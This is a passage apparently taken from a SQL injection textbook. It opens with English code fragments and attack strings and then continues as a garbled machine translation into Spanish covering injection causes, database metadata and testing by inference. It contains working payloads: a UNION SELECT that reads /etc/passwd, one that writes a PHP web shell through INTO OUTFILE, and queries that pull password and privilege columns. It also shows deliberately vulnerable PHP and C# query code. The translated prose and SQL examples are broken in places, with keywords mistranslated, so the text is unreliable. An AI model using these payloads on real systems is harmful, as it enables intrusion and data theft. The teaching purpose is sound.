messages/list.aspx?

uid=
-- The pipe [|] character can be used to append a function to a value.
-- The function will be executed and the result cast and concatenated.
http://victim.com/id=1||utl_inaddr.get_host_address(local)--
-- An asterisk followed by a forward slash can be used to terminate a
-- comment and/or optimizer hint in Oracle
http://victim.com/hint = / from dual
http://www.victim.com/id=1 union select operating system from sysinfo.version--<!
// build dynamic SQL statement
$SQL = SELECT FROM table WHERE field = $_GET[userid];
// execute sql statement
$result = mysql_query($SQL);
// check to see how many rows were returned from the database
$rowcount = mysql_num_rows($result);
// iterate through the record set returned
$row = 1;
while ($db_field = mysql_fetch_assoc($result)) {
if ($row <= $rowcount){
print $db_field[$row]. <BR>;
$row++;
}
}
1 UNION ALL SELECT LOAD_FILE(/etc/passwd)
1 UNION SELECT <? system($_REQUEST[cmd]); ?> INTO OUTFILE
/var/www/html/victim.com/cmd.php
SELECT FROM TABLE
WHERE
USERID = 1 UNION ALL SELECT LOAD_FILE(/etc/passwd)

// build dynamic SQL statement
$SQL = SELECT. $_GET[column1]. ,. $_GET[column2]. ,. $_GET[column3].
FROM .
$_GET[table];
// execute sql statement
$result = mysql_query($SQL);
// check to see how many rows were returned from the database
$rowcount = mysql_num_rows($result);
// iterate through the record set returned
$row = 1;
while ($db_field = mysql_fetch_assoc($result)) {if ($row <= $rowcount){print
$db_field[$row]. <BR>;
$row++;
}
}

http://www.victim.com/user_details.php?table=users&column1=user&column2=passw
ord&
column3=Super_priv
private void SelectedIndexChanged(object sender, System.EventArgs e)
{
// Create a Select statement that searches for a record
// matching the specific id from the Value property.
string SQL;
SQL = SELECT FROM table ;
SQL += WHERE ID= + UserList.SelectedItem.Value + ;
// Define the ADO.NET objects.
OleDbConnection con = new OleDbConnection(connectionString);
OleDbCommand cmd = new OleDbCommand(SQL, con);
OleDbDataReader reader;
// Try to open database and read information.
try
{
con.Open();
reader = cmd.ExecuteReader();
reader.Read();
lblResults.Text = <b> + reader[LastName];
lblResults.Text += , + reader[FirstName] + </b><br>;
lblResults.Text += ID: + reader[ID] + <br>;
reader.Close();
}
catch (Exception err)
{
lblResults.Text = Error getting data. ;
lblResults.Text += err.Message;
}
finally
{
con.Close();
}
}
and 1 in (SELECT @@version)
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value
Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov 19 2001 13:23:50 Copyright (c)
1988-
2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service
Pack
3) to a column of data type int.
// process form 1
if ($_GET[form] = form1){
// is the parameter a string?
if (is_string($_GET[param])) {
// get the length of the string and check if it is within the
// set boundary?
if (strlen($_GET[param]) < $max){
// pass the string to an external validator
$bool = validate(input_string, $_GET[param]);
if ($bool = true) {
// continue processing
}
}
}
}
/if ($_GET[form] = form2){
// no need to validate param as form1 would have validated it for us
$SQL = SELECT FROM TABLE WHERE ID = $_GET[param];
// execute sql statement
$result = mysql_query($SQL);
// check to see how many rows were returned from the database
$rowcount = mysql_num_rows($result);
$row = 1;
// iterate through the record set returned
while ($db_field = mysql_fetch_assoc($result)) {
if ($row <= $rowcount){
print $db_field[$row]. <BR>;
$row++}
}
};
El desarrollador de aplicaciones no cree que la segunda forma tiene que validar la
entrada, como
la primera forma se habr llevado a cabo la validacin de entrada. Un atacante podra
llamar la segunda forma
directamente, sin necesidad de utilizar la primera forma, o podra simplemente
presentar datos vlidos como entrada en el
primero la forma y luego manipular los datos a medida que se presenta a la segunda
forma. La primera URL
muestra aqu fracasara como la entrada se valida; la segunda URL resultara en un
xito
Ataque de inyeccin de SQL, como la entrada no se valida:
http://www.victim.com/form.php?form=form1&param= SQL Failed --
[2] http://www.victim.com/form.php?form=form2&param= SQL Success


En un mundo ideal, las aplicaciones tambin deben usar diferentes usuarios de bases
de datos para realizar SELECT,
UPDATE, INSERT, y comandos similares. En el caso de un atacante inyectar cdigo en un
declaracin vulnerables, los privilegios que se reducira al mnimo. La mayora de
las aplicaciones no entren
privilegios separados, por lo que un atacante suele tener acceso a todos los datos en
la base de datos y tiene
SELECT, INSERT, UPDATE, DELETE, EXECUTE, y privilegios similares. Estos excesiva
privilegios a menudo pueden permitir a un atacante para saltar entre las bases de
datos y datos de acceso fuera de la
almacn de datos de aplicacin.
Para ello, sin embargo, lo que necesita saber lo que hay disponible, qu otras bases
de datos son
instalados, qu otros cuadros estn ah, y qu campos se ven interesante! Cuando un
atacante
explota una vulnerabilidad de inyeccin SQL que a menudo se intente acceder a los
metadatos de base de datos.
Los metadatos son datos acerca de los datos contenidos en una base de datos, como el
nombre de una base de datos o
mesa, el tipo de datos de una columna, o privilegios de acceso. Otros trminos que se
utilizan a veces para
esta informacin es el diccionario de datos y catlogo del sistema. Para los
servidores MySQL (versin 5.0 o
ms adelante), estos datos se llev a cabo en la base de datos virtual
INFORMATION_SCHEMA y se puede acceder
por el programa de bases de datos y comandos Mostrar Tablas. Cada usuario MySQL tiene
derecho
para acceder a las tablas dentro de esta base de datos, pero se puede ver slo las
filas de las tablas que corresponden a
objetos para los que el usuario tiene los privilegios de acceso adecuados. Microsoft
SQL Server tiene un parecido
concepto y los metadatos se puede acceder a travs de la INFORMATION_SCHEMA o con el
sistema de
tablas (sysobjects, sysindexkeys, sysindexes, syscolumns, systypes, etc), y / o con
el sistema de
procedimientos almacenados; SQL Server 2005 introdujo algunas vistas de catlogo
llamados "sys. *" Y restringe
acceso a los objetos para los que el usuario tiene los privilegios de acceso
adecuados. Cada SQL Microsoft
El usuario del servidor tiene el derecho a acceder a las tablas dentro de esta base
de datos y se puede ver todas las filas de la
tablas, independientemente de si tiene permiso de acceso a las tablas o los datos que
son
referenciada.
Mientras tanto, Oracle ofrece una serie de puntos de vista globales integradas para
acceder a Oracle
metadatos (ALL_TABLES, ALL_TAB_COLUMNS, etc). Estos puntos de vista enumeran
atributos y objetos
que son accesibles para el usuario actual. Adems, vistas equivalentes que tienen el
prefijo
USER_ mostrar slo los objetos propiedad del usuario actual (es decir, una visin ms
restringida de
metadatos), y puntos de vista con el prefijo DBA_ muestran todos los objetos de la
base de datos (es decir, una
visin global sin restricciones de los metadatos de la instancia de base de datos).
Las funciones de metadatos DBA_
requerir administrador de base de datos (DBA) privilegios. He aqu un ejemplo de
estos estados:
Declaracin de Oracle para enumerar todas las tablas accesibles para el usuario
actual
PROPIETARIO SELECT, TABLE_NAME DE ALL_TABLES ORDER BY TABLE_NAME;
- Declaracin de MySQL para enumerar todas las tablas y bases de datos accesibles
para la
- Usuario actual
Esquema_tabla SELECT, nombre_tabla DE INFORMATION_SCHEMA.TABLES;
- Declaracin MSSQL para enumerar todas las tablas accesibles mediante el sistema de
- tablas
Nombre SELECT FROM sysobjects DONDE xtype = 'U';
- Declaracin MSSQL para enumerar todas las tablas accesibles usando el catlogo
- visitas
Nombre SELECT FROM sys.tables;
No es posible ocultar o revocar el acceso a la base de datos virtual
INFORMATION_SCHEMA
dentro de una base de datos MySQL, y no es posible ocultar o revocar el acceso al
diccionario de datos
dentro de una base de datos Oracle, ya que es una vista. Puede modificar la vista
para restringir el acceso, pero
Oracle no recomienda esto. Es posible revocar el acceso a la
INFORMATION_SCHEMA, sistemas y sys. * Tablas dentro de una base de datos Microsoft
SQL Server.
Esto, sin embargo, puede romper algunas funciones y puede causar problemas con
algunas aplicaciones que
interactuar con la base de datos. El mejor enfoque consiste en operar un modelo de
privilegios mnimos para la
Acceso base de datos de la aplicacin y para separar los roles privilegiados que
correspondan a la funcional
requisitos de la aplicacin.
Resumen
En este captulo, usted aprendi algunos de los muchos vectores que causan la
inyeccin SQL, de la
patrones de diseo y arquitectura de una aplicacin, a los comportamientos de
desarrolladores y de codificacin que
se utilizan en la construccin de la aplicacin. Hablamos de cmo los populares-tier
mltiple (n-tier)
arquitectura para aplicaciones Web suelen mostrar un nivel de almacenamiento con una
base de datos que es
interactuado por las consultas de base de datos generados en otro nivel, a menudo, en
parte, con suministrada por el usuario
informacin. Y hablamos de ese edificio cuerda dinmica (conocida como dinmica
SQL), la prctica de montaje de la consulta SQL como una cadena concatenada junto con
usersupplied
de entrada, provoca la inyeccin SQL como el atacante puede cambiar la lgica y la
estructura de la
Consulta SQL para ejecutar comandos de base de datos que son muy diferentes de las
que el desarrollador
previsto.
En los prximos captulos, vamos a hablar de inyeccin SQL en mucha ms profundidad,
tanto en
hallazgo y la identificacin de inyeccin SQL (captulos 2 y 3), los ataques de
inyeccin SQL y qu
se puede hacer a travs de inyeccin SQL (captulos 4-7), la forma de defenderse de
inyeccin SQL
(Captulos 8 y 9), y la manera de averiguar si usted ha sido vctima de explotacin o
recuperarse de inyeccin SQL
(Captulo 10). Y, por ltimo, en el captulo 11, presentamos una serie de recursos de
referencia prctica,
punteros y hojas de trucos destinados a ayudarle a encontrar rpidamente la
informacin que est buscando.
Mientras tanto, leer y probar los ejemplos de este captulo de nuevo para que te
consolidas
su comprensin de lo que es la inyeccin de SQL y cmo sucede. Con ese conocimiento,
usted es
ya un largo camino hacia la posibilidad de encontrar, explotar, o fijar inyeccin SQL
ah fuera en el mundo real
mundo!
Soluciones Fast Track
La comprensin de cmo las aplicaciones de trabajo Web
Una aplicacin Web es una aplicacin que se accede a travs de un navegador Web a
travs de una red de este tipo
como Internet o una intranet. Tambin es una aplicacin de software que se codifica
en un
el idioma del navegador-apoyado (como HTML, JavaScript, Java, etc) y se basa en un
comn
Navegador Web para hacer el ejecutable de la aplicacin.
Una aplicacin web dinmica con bases de datos bsico consiste tpicamente en una
base de datos back-end
con las pginas web que contienen secuencias de comandos de servidor escrito en un
lenguaje de programacin que es
capaz de extraer informacin especfica de una base de datos en funcin de diversos
dinmico
interacciones.
Una aplicacin web dinmica con bases de datos bsica comnmente tiene tres
niveles: la presentacin
tier (un navegador web o motor de renderizado), la capa de lgica (un lenguaje de
programacin como C #,
ASP, NET, PHP, JSP, etc), y un nivel de almacenamiento (una base de datos como
Microsoft SQL Server,
MySQL, Oracle, etc). El navegador Web (el nivel de presentacin: Internet Explorer,
Safari,
Firefox, etc) enva peticiones al nivel medio (el nivel de lgica), que da servicio a
las peticiones por
realizar consultas y actualizaciones de la base de datos (el nivel de
almacenamiento).
Entendimiento de inyeccin SQL
Inyeccin SQL es un ataque en el que se inserta el cdigo SQL o adjunta en
application / usuario
parmetros de entrada que luego se pasan a un servidor SQL back-end para el anlisis
y ejecucin.
La principal forma de inyeccin SQL consiste en la insercin directa del cdigo en
los parmetros
que se concatenan con comandos SQL y ejecutados.
Cuando un atacante es capaz de modificar una sentencia SQL, el proceso se ejecutar
con el mismo
permisos que el componente que ejecut el comando (por ejemplo, servidor de base de
datos, la aplicacin
servidor, o el servidor Web), que es a menudo muy privilegiada.
La comprensin de cmo se produce
vulnerabilidades de inyeccin SQL ocurren con ms frecuencia cuando el
desarrollador de aplicaciones Web
no asegura que los valores recibidos desde un formulario web, galleta, parmetro de
entrada, y as sucesivamente
se validan o codificadas antes de pasarlos a las consultas SQL que se ejecutarn en
un
servidor de base de datos.
Si un atacante puede controlar la entrada que se enva a una consulta SQL y
manipular esa entrada tan
que los datos se interpreta como cdigo en lugar de como datos, que puede ser capaz
de ejecutar cdigo en el
base de datos back-end.
Sin una buena comprensin de la base de datos subyacente que estn interactuando
con una o
la comprensin y el conocimiento de los posibles problemas de seguridad del cdigo
que es a fondo
est desarrollando, los desarrolladores de aplicaciones a menudo pueden producir
aplicaciones intrnsecamente inseguros
que son vulnerables a la inyeccin de SQL.
Preguntas ms frecuentes
Q: Qu es la inyeccin de SQL?
A: inyeccin SQL es una tcnica de ataque usada para explotar el cdigo mediante la
alteracin de back-end SQL
declaraciones a travs de la manipulacin de entrada.
Q: Son todas las bases de datos vulnerable a inyeccin SQL?
R: En diversos grados, la mayora de las bases de datos son vulnerables.
Q: Cul es el impacto de una vulnerabilidad de inyeccin SQL?
R: Esto depende de muchas variables; Sin embargo, lo que podra un atacante puede
manipular los datos en
la base de datos, extraer muchos ms datos que la aplicacin debera permitir, y
posiblemente ejecutar
los mandatos del sistema operativo en el servidor de base de datos.
Q: Es la inyeccin SQL una nueva vulnerabilidad?
R: No. inyeccin SQL probablemente ha existido desde bases de datos SQL se conectan
primero en Web
aplicaciones. Sin embargo, se seal a la atencin del pblico en el da de Navidad
de 1998.
Q: Puedo realmente tener problemas para insertar un carcter de comillas (") en un
sitio Web?
A: S (dependiendo de la jurisdiccin), a menos que tenga una razn legtima para
hacerlo (por ejemplo, si
su nombre tiene una marca de comilla simple en el mismo, tales como O'Shea).
Q: Cmo puede el cdigo se ejecutar porque alguien antepone su entrada con un
carcter de comillas?
A: bases de datos SQL interpretar el carcter de comillas como el lmite entre el
cdigo y los datos.
Ellos asumen que cualquier cosa despus de una cita es un cdigo que se necesita para
correr y nada
encapsulado por una cita son los datos.
Q: Puede sitios Web inmune a la inyeccin de SQL, si no permiten que el carcter de
comillas para ser
entrado?
R: No. Hay un sinfn de maneras de codificar el carcter de comillas por lo que se
acepta como entrada,
y algunas vulnerabilidades de inyeccin SQL pueden ser explotados sin utilizar en
absoluto. Adems, la cita
personaje no es el nico personaje que puede ser utilizado para explotar
vulnerabilidades de inyeccin SQL; un
nmero de caracteres disponibles para un atacante, como el tubo doble (||) y comillas
dobles
("), Entre otros.
Q: Puede sitios Web inmune a la inyeccin de SQL, si no utilizan el mtodo GET?
A: parmetros POST N son tan fciles de manipular.
Q: Mi aplicacin est escrita en PHP / ASP / Perl / NET / Java, etc Es mi idioma
elegido
inmune?
R: No. Cualquier lenguaje de programacin que no valida la entrada antes de pasarla a
un
instruccin SQL creada dinmicamente es potencialmente vulnerable; es decir, a menos
que utiliza
consultas y variables bind parametrizado.
Captulo 2
Las pruebas de inyeccin SQL
Rodrigo Marcos Alvarez
Soluciones en este captulo:
Inyeccin SQL Finding
Confirmacin de Inyeccin SQL
Descubrimiento de inyeccin SQL Automatizacin
Introduccin
Como la presencia de la inyeccin de SQL se prueba comnmente para remota (es decir,
a travs de Internet como
parte de una prueba de penetracin de aplicacin), por lo general no tiene la
oportunidad de mirar el
cdigo fuente para revisar la estructura de la consulta en la que se est inyectando.
Esto conduce a menudo
a la necesidad de realizar gran parte de sus pruebas a travs de la inferencia, es
decir, "Si yo veo esto, entonces esto es
probablemente ocurra en la parte final ".
En este captulo se analizan las tcnicas para encontrar temas de inyeccin SQL desde
la perspectiva de un
usuario que se sienta delante de su navegador e interactuar con una aplicacin Web.
lo mismo
tcnicas se aplican a aplicaciones no web con una base de datos back-end. Tambin
discutiremos
tcnicas para confirmar que el problema es de hecho la inyeccin SQL y no algn otro
problema, tales
como la inyeccin XML. Por ltimo, vamos a ver la automatizacin del proceso de
descubrimiento de inyeccin SQL para
aumentar la eficiencia de la deteccin de los casos ms simples de inyeccin SQL.
Finding SQL Injection
Inyeccin SQL puede estar presente en cualquier aplicacin front-end de aceptar la
entrada de datos desde un sistema
o usuario, que luego se utiliza para acceder a un servidor de base de datos. En esta
seccin, nos centraremos en la
Entorno Web, ya que este es el escenario ms comn, y por lo tanto ser inicialmente
armado con slo un navegador Web.
En un entorno Web, el navegador Web es un cliente que acta como un front-end de
datos que solicita
del usuario y enviarlos al servidor remoto que va a crear consultas SQL utilizando el
datos presentados. Nuestro objetivo principal en esta etapa es identificar anomalas
en la respuesta del servidor y
determinar si son generados por una vulnerabilidad de inyeccin SQL. En una etapa
posterior, se
identificar el tipo de consulta SQL (SELECT, UPDATE, INSERT o DELETE) que es
que se ejecuta en el servidor, y donde en la consulta que se est inyectando cdigo
(en el de la seccin, la
DONDE seccin, ORDER BY, etc).
Aunque usted ver muchos ejemplos y escenarios en este captulo, no vamos a cubrir
todos los
Posibilidad de inyeccin SQL que se puede encontrar. Pinsalo de esta manera: Alguien
le puede ensear
para sumar dos nmeros, pero no es necesario (o prctica) para cubrir cada
posibilidad; como
siempre que se sepa cmo sumar dos nmeros puede aplicar ese conocimiento a todos los
escenarios
que implica la adicin. Inyeccin SQL es el mismo. Es necesario comprender cmo y por
qu y
el resto ser simplemente una cuestin de prctica.
Rara vez nos tendremos acceso al cdigo fuente de la aplicacin, y por lo tanto
tendremos que probar
por inferencia. Poseer una mentalidad analtica es muy importante en la comprensin y
avanzando un ataque. Usted tendr que tener mucho cuidado en la comprensin de las
respuestas del servidor a
tener una idea de lo que podra estar sucediendo en el lado del servidor.
Pruebas por inferencia es ms fcil de lo que piensas. Es todo sobre el envo de
solicitudes a la
servidor y la deteccin de anomalas en la respuesta. Usted podra estar pensando que
hallazgo SQL
vulnerabilidades de inyeccin es sobre el envo de valores aleatorios en el servidor,
pero usted ver que
una vez que entienda la lgica y los fundamentos del ataque se convierte en un
sencillo y
proceso emocionante.
Las pruebas realizadas por Inferencia
Hay una regla simple para identificar las vulnerabilidades de inyeccin SQL:
anomalas de activacin por
el envo de datos inesperados. Esta regla implica que:
Usted identifica toda la entrada de datos en la aplicacin Web.
Sabes qu tipo de peticin podra desencadenar anomalas.
Usted detectar anomalas en la respuesta desde el servidor.
Es tan simple como eso. Primero tendr que ver cmo el navegador web enva peticiones
a la
Servidor Web. Las diferentes aplicaciones se comportan de diferentes maneras, pero
los fundamentos deben estar
la misma, ya que son todos los entornos basados en Web.
Una vez que identifique todos los datos aceptados por la aplicacin, es necesario
modificarlos y
analizar la respuesta del servidor. A veces, la respuesta incluir un error SQL
directamente
de la base de datos y le har la vida muy fcil; Sin embargo, otras veces tendr que
permanecer centrado y detectar diferencias sutiles.
La identificacin de la entrada de datos
Entornos Web son un ejemplo de la arquitectura cliente / servidor. Su navegador (que
acta como
cliente) enva una peticin al servidor y espera una respuesta. El servidor recibe la
peticin,
genera una respuesta, y la enva de vuelta al cliente. Obviamente, tiene que haber
algn tipo de
comprensin entre las dos partes; de lo contrario, el cliente podra pedir algo y el
servidor no sabra qu responder. La comprensin de ambas partes se da por el uso de
un
Protocolo; en este caso, HTTP.
Nuestra primera tarea es identificar toda la entrada de datos aceptado por la
aplicacin Web remoto. HTTP
define una serie de acciones que un cliente puede enviar al servidor; Sin embargo,
nos centraremos en la
dos ms relevantes para el propsito de descubrir la inyeccin SQL: el GET y POST
Mtodos HTTP.
peticiones GET
GET es un mtodo HTTP que solicita al servidor de cualquier informacin que se indica
en la URL.
Este es el tipo de mtodo que se utiliza normalmente cuando se hace clic en un
enlace. Por lo general, la Web
navegador crea la solicitud GET, lo enva al servidor Web, y hace que la respuesta en
el
navegador. A pesar de que es transparente para el usuario, la solicitud GET que se
enva al servidor Web
se parece a esto:
GET /search.aspx?text=lcd%20monitors&cat=1&num=20 HTTP / 1.1
Anfitrin: www.victim.com
User-Agent: Mozilla / 5.0 (X11; x86_64 Linux;; U es-; rv: 1.8.1.19) Gecko / 20081216
Ubuntu / 8.04 (Hardy) Firefox / 2.0.0.19
Accept: text / xml, application / xml, application / xhtml + xml,
text / html; q = 0,9, text / plain; q = 0,8, image / jpeg, * / *; q = 0,5
Accept-Language: en-gb, en; q = 0,5
Accept-Encoding: gzip, desinfla
Accept-Charset: ISO-8859-1, UTF-8, q = 0,7, *; q = 0,7
Keep-Alive: 300
Proxy-Connection: keep-alive
Este tipo de solicitud enva los parmetros dentro de los URL en el siguiente
formato:
? parmetro1 = valor1 y valor2 parmetro2 = y parmetro3 = value3 ...
En el ejemplo anterior, se puede ver tres parmetros: texto, gato, y num. El mando a
distancia
aplicacin va a recuperar los valores de los parmetros y utilizarlos para cualquier
propsito que
han sido diseados. Para peticiones GET, puede manipular los parmetros simplemente
cambiando
en la barra de herramientas de navegacin de su navegador. Alternativamente, tambin
puede utilizar una herramienta de proxy, que
Te lo explicar en breve.
peticiones POST
POST es un mtodo HTTP usado para enviar informacin al servidor Web. La accin del
servidor
Realiza se determina por la direccin URL de destino. Este es normalmente el mtodo
utilizado cuando surte en un
formar en su navegador y haga clic en el botn Enviar. Aunque su navegador lo hace
todo
transparente para usted, este es un ejemplo de lo que se enva al servidor web
remoto:
POSTE /contact/index.asp HTTP / 1.1
Anfitrin: www.victim.com
User-Agent: Mozilla / 5.0 (X11; x86_64 Linux;; U es-; rv: 1.8.1.19) Gecko / 20081216
Ubuntu / 8.04 (Hardy) Firefox / 2.0.0.19
Accept: text / xml, application / xml, application / xhtml + xml,
text / html; q = 0,9, text / plain; q = 0,8, image / jpeg, * / *; q = 0,5
Accept-Language: en-gb, en; q = 0,5
Accept-Encoding: gzip, desinfla
Accept-Charset: ISO-8859-1, UTF-8, q = 0,7, *; q = 0,7
Keep-Alive: 300
rbitro: http://www.victim.com/contact/index.asp
Content-Type: application / x-www-form-urlencoded
Content-Length: 129
first=John&last=Doe&email=john@doe.com&phone=555123456&title=Mr&country=US&comments=I
%20woul
d% 20like% 20to% 20request% 20information
Los valores se envan al servidor Web tienen el mismo formato explicado para la
solicitud GET, pero
ahora se encuentran en la parte inferior de la solicitud.
Nota
Mantener una cosa en mente: No importa cmo se presentan estos datos para que en el
navegador. Algunos de los valores
podran ser campos ocultos dentro de la forma, y otros pueden ser desplegables campos
con un conjunto de opciones; es posible que tenga
lmites de tamao, o incluso campos con discapacidad.
Recuerde que todas esas caractersticas son parte de la funcionalidad del lado del
cliente, y usted tiene el control total de lo que
se enva al servidor. No creo que de mecanismos de interfaz del lado del cliente como
funcionalidad de seguridad.
Usted se estar preguntando cmo modificar los datos si el navegador no est
permitiendo que lo haga.
Hay un par de maneras de hacer esto:
Extensiones de modificacin Browser
Los servidores proxy
Extensiones de modificacin Browser son los plug-ins que se ejecutan en el navegador
y le permiten
realizar alguna funcionalidad adicional. Por ejemplo, el desarrollador Web
(https://addons.mozilla.org/en-US/firefox/addon/60 y
https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm)
Extensiones
para Mozilla Firefox y Google Chrome permiten visualizar los campos ocultos, quite
tamao
limitaciones, y convertir HTML seleccione los campos en los campos de entrada, entre
otras tareas. Esto puede ser
muy til cuando se trata de manipular datos enviados al servidor. Tamper Data
(https://addons.mozilla.org/en-US/firefox/addon/966) es otra extensin interesante
disponible
para Firefox. Puede utilizar Tamper Data para ver y modificar encabezados y
parmetros POST en
HTTP y HTTPS. Otra opcin es SQL inyectarme (https://addons.mozilla.org/en-
Estados Unidos / firefox / addon / 7597). Esta herramienta enva cadenas de escape de
base de datos a travs de los campos de formulario que se encuentran
en la pgina HTML.
La segunda solucin es el uso de un proxy local. Un proxy local es una pieza de
software que se sita
entre su navegador y el servidor, como se muestra en la Figura 2.1. El software se
ejecuta localmente en
su computadora; sin embargo, la figura muestra una representacin lgica de una
configuracin de proxy local.
Figura 2.1 proxy de intercepcin peticiones al servidor Web

La Figura 2.1 muestra cmo se puede pasar por alto cualquier restriccin del lado del
cliente mediante el uso de un servidor proxy.
El proxy intercepta la peticin al servidor y le permite modificarlo a voluntad. Para
hacer esto
slo necesita dos cosas:
Instalacin de un servidor proxy en el equipo
La configuracin de su navegador para utilizar el servidor proxy
Usted puede elegir entre una serie de alternativas al instalar un proxy para la
inyeccin SQL
ataques. Las ms notables son Paros Proxy, WebScarab y Burp Suite, todas las cuales
pueden
interceptar el trfico y permite modificar los datos que se envan al servidor.
Aunque tienen algunos
diferencias, decidir cul usar generalmente depende de su opcin personal.
Despus de instalar y ejecutar el software, es necesario comprobar en qu puerto del
proxy es
escuchando. Configure su navegador Web para utilizar el proxy y ya est listo para
ir. dependiendo de
el navegador Web de su eleccin, los ajustes se encuentran en un men diferente. Por
ejemplo, en
Mozilla Firefox, haga clic en Editar | Preferencias | Avanzado | Red | Configuracin.
Extensiones de Firefox como FoxyProxy (https://addons.mozilla.org/en-
Estados Unidos / firefox / addon / 2464) le permiten cambiar entre la configuracin
del proxy predefinidas, que puede ser
muy til y le puede ahorrar algo de tiempo. El equivalente Google Chrome sera Proxy
(https://chrome.google.com/webstore/detail/caehdcpeofiiigpdhbabniblemipncjj)
En Microsoft Internet Explorer, puede acceder a la configuracin del proxy en
Herramientas | Internet
Opciones | Conexiones | Configuracin de LAN | Proxy Server.
Una vez que tenga su software de proxy en ejecucin y su navegador apuntando a la
misma, usted puede comenzar a
probar el sitio Web de destino y manipular los parmetros enviados a la aplicacin
remota, como
se muestra en la Figura 2.2.
Figura

La figura 2.2 muestra Burp Suite de interceptar una solicitud POST y permitiendo al
usuario modificar
los campos. La solicitud ha sido interceptado por el proxy y el usuario puede hacer
arbitraria
cambios en el contenido. Una vez terminado, el usuario debe hacer clic en el botn de
avance y la
solicitud modificado se enva al servidor.
Ms tarde, en "Confirmacin de inyeccin SQL," vamos a discutir el tipo de contenido
que puede ser
inyecta en los parmetros para activar las vulnerabilidades de inyeccin SQL.
Otros datos Inyectable
La mayora de las aplicaciones recuperar datos de parmetros GET o POST. Sin embargo,
otras partes de la
Peticin HTTP podra provocar vulnerabilidades de inyeccin SQL.
Las cookies son un buen ejemplo. Las cookies se envan al navegador del usuario y son
enviado automticamente al servidor en cada peticin. Las cookies se utilizan por lo
general para
autenticacin, control de sesin, y el mantenimiento de informacin especfica sobre
el usuario, como por ejemplo
preferencias en el sitio Web. Como se explic antes, usted tiene el control total de
los contenidos enviados al
el servidor y por lo que debe tener en cuenta las cookies como una forma vlida de
entrada de datos del usuario, y por lo tanto,
como susceptibles a la inyeccin.
Otros ejemplos de aplicaciones vulnerables a la inyeccin en otras partes de la
solicitud HTTP
incluir la Hostia, de Referer, y las cabeceras User-Agent. El campo de cabecera Host
especifica el Internet
se solicita de acogida y nmero de puerto del recurso. El campo de referencia
especifica el recurso
a partir del cual se obtuvo la solicitud actual. El campo de cabecera User-Agent
determina la Web
navegador utilizado por el usuario. Aunque estos casos son poco frecuentes, algunos
de monitorizacin de red y
Aplicaciones de tendencias Web utilizan el anfitrin, los valores del encabezado de
Referer y User-Agent para crear grficos,
por ejemplo, y almacenarlos en bases de datos. En tales casos, vale la pena probar
los encabezados para
posibles vulnerabilidades de inyeccin.
Puede modificar las cookies y cabeceras HTTP a travs de software de proxy de la
misma manera que
vio anteriormente en este captulo.
La manipulacin de los parmetros
Vamos a empezar con un ejemplo muy sencillo para que pueda familiarizarse con la
inyeccin de SQL
vulnerabilidades.
Digamos que usted visita el sitio Web de la Vctima Inc., una tienda de comercio
electrnico donde se pueden comprar todo tipo
de las cosas. Puede comprobar los productos en lnea, ordenarlos por precio, mostrar
slo una determinada categora
de producto, y as sucesivamente. Cuando navegas por diferentes categoras de
productos que te das cuenta de que el
URL tiene el siguiente aspecto:
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=cars
http://www.victim.com/showproducts.php?category=boats
La pgina de showproducts.php recibe un parmetro llamado categora. Usted no tiene
que escribir
nada, como los enlaces anteriores se presentaron en el sitio Web, por lo que slo hay
que hacer clic en ellos.
La aplicacin en el lado del servidor est a la espera valores conocidos y muestra
los productos que
pertenecen a la categora dada.
Incluso sin necesidad de iniciar el proceso de pruebas ya debe tener una idea
aproximada de cmo el
aplicacin puede trabajar. Usted puede afirmar que la aplicacin no es esttica;
parece que dependiendo
en el valor del parmetro categora de la aplicacin mostrar diferentes productos
basados en
el resultado de una consulta a una base de datos back-end.
En este punto tambin es importante tener en cuenta qu tipo de operacin de la base
de datos puede ser
que ocurren en el lado del servidor, ya que algunas de las cosas que vamos a tratar
puede tener efectos secundarios si somos
no se tiene cuidado. Hay cuatro tipos principales de las operaciones en la capa de
base de datos, como sigue:
SELECT: leer los datos de la base de datos sobre la base de criterios que buscan
Insertar: insertar nuevos datos en la base de datos
ACTUALIZACIN: actualizacin de los datos existentes sobre la base de criterios
dados
Eliminar: permite borrar los datos existentes sobre la base de criterios dados
En este ejemplo, podemos suponer que la aplicacin remota est realizando una
consulta SELECT,
ya que est mostrando la informacin en funcin del parmetro categora.
Ahora puede empezar a cambiar manualmente los valores del parmetro categora a algo
la aplicacin no espera. Su primer intento puede ser algo como lo siguiente:
http://www.victim.com/showproducts.php?category=attacker
En el ejemplo anterior, hemos enviado una peticin al servidor con un nombre de
categora inexistente.
La respuesta del servidor fue como sigue:
Advertencia: mysql_fetch_assoc (): suministrado argumento no es vlido MySQL
resultado
recursos en /var/www/victim.com/showproducts.php en la lnea 34
Esta advertencia se devuelve un error de base de datos MySQL de la base de datos
cuando el usuario intenta leer
un registro de un conjunto de resultados vaco. Este error indica que la aplicacin
remota no es
el manejo adecuado de los datos inesperados.
Continuando con el proceso de inferencia que hace una solicitud, aadiendo una
comilla simple (') para
el valor que ya haya enviado:
http://www.victim.com/showproducts.php?category=attacker '
Figura 2.3 muestra la respuesta desde el servidor.
Fi

MySQL Server Error
El servidor devolvi el siguiente error:
Usted tiene un error en su sintaxis SQL; consulte el manual que corresponde a su
servidor MySQL
versin para el sintaxis derecho al uso "atacante" cerca "en la lnea 1
Como se puede ver, algunas aplicaciones reaccionan de manera inesperada cuando el
manejo de los datos del usuario. no
cada anomala detectada en un sitio Web va a ser debido a una vulnerabilidad de
inyeccin SQL, como se
puede verse afectada por un nmero de otras cuestiones. A medida que se familiarice
ms con la inyeccin de SQL
explotacin, se dar cuenta de la importancia del carcter comilla simple para la
deteccin
propsitos y usted aprender a enviar las solicitudes correspondientes al servidor
para determinar qu
son posibles tipos de inyecciones.
Otra prueba interesante que puede realizar para identificar vulnerabilidades en
Oracle y
PostgreSQL es enviar los siguientes dos peticiones al servidor Web:
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi'||'kes
El equivalente Microsoft SQL Server es:
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi'+'kes
El equivalente MySQL (ntese el espacio entre las comillas simples) es:
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi''kes
